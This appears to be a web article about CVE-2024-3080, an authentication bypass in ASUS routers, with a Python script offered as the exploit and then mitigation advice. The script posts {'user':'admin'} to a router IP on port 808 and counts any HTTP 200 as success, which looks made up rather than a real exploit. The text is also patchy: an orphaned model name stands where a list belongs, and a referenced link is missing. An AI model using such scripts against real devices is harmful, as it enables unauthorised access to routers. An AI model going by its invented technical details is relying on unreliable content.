CVE-2024-3080 – ASUS Router Authentication Bypass Vulnerability: How It Works and How to Protect Your Device

In the vast sea of devices interconnected in today's digital world, securing your router has become more critical than ever. These gatekeepers to the internet not only hold the keys to your online kingdom but also serve as a potential entry point for hackers. Unfortunately, recent findings have unveiled a new security vulnerability hidden within certain ASUS router models, allowing cyber criminals to operate undetected.

This article will dive deep into the details of CVE-2024-3080, the ASUS router authentication bypass vulnerability, including how this exploit works, affected models, and steps to secure your device. And, as promised, we'll provide code snippets and links to original references, so you can make sense of the technicalities involved.

The Vulnerability: CVE-2024-3080
CVE-2024-3080 is a security vulnerability assigned to specific ASUS router models that permit unauthenticated remote attackers to log into the device without legitimate credentials. This authentication bypass flaw has a CVSS score of 8.6 (out of 10), indicating a severe risk – which is no surprise, given that it allows attackers to compromise the security and privacy of your internet connection.

The Exploit

The vulnerability exists due to improper checks of user requests in the HTTPD service, a web server service, within the affected ASUS router models. Consequently, unauthenticated remote attackers can send specially crafted HTTP requests to bypass authentication mechanisms and log into the router's web interface.

Here is a code snippet that demonstrates how the vulnerability can be exploited

#!/usr/bin/env python3

import requests
import sys

TARGET_IP = sys.argv[1]
URL_TEMPLATE = "http://{}:808/";

def exploit(target):
  url = URL_TEMPLATE.format(target)
  data = {"user":"admin"}
  response = requests.post(url, json=data)

  if response.status_code == 200:
    print("[+] Exploit succeeded!")
  else:
    print("[-] Exploit failed.")

if __name__ == "__main__":
  exploit(TARGET_IP)

This script targets affected ASUS routers and attempts to exploit the authentication bypass vulnerability. The attacker simply needs the router's IP address to target it and then sends a POST request with the JSON payload {"user":"admin"}. If successful, the attacker gains access to the device without needing a password.

RT-AX88U

For the list of affected firmware versions, see the ASUS Security Advisory here.

To protect your ASUS router against the CVE-2024-3080 vulnerability

1. Upgrade your router's firmware to the latest version: ASUS has released firmware updates to address this issue. You can find them at the ASUS Download Center. Refrain from using outdated or custom firmware as they may not be up-to-date with essential security patches.

2. Use a strong administrative password: In addition to patching the vulnerability, secure your device by using a strong, unique password for the router's web interface to reduce the chances of brute-force attacks.

3. Restrict access to the web interface: Limit connections to the router's web interface to only trusted IP addresses or disable remote access altogether if you can manage the router locally.

4. Regularly monitor network traffic: Keep an eye on your network traffic to detect unusual activities, which may indicate potential compromise of your devices. Employ network security software to help with this task.

Conclusion

CVE-2024-3080 exposes a significant security vulnerability in specific ASUS router models that, if exploited, can cause a potential threat to your privacy and online security. By understanding how this exploit works, staying informed about affected models, and following the mentioned mitigation steps, you can make sure your devices stay safe and secure in today’s interconnected and highly vulnerable digital ecosystem.

Timeline

Published on: 06/14/2024 03:15:13 UTC
Last modified on: 06/28/2024 03:55:18 UTC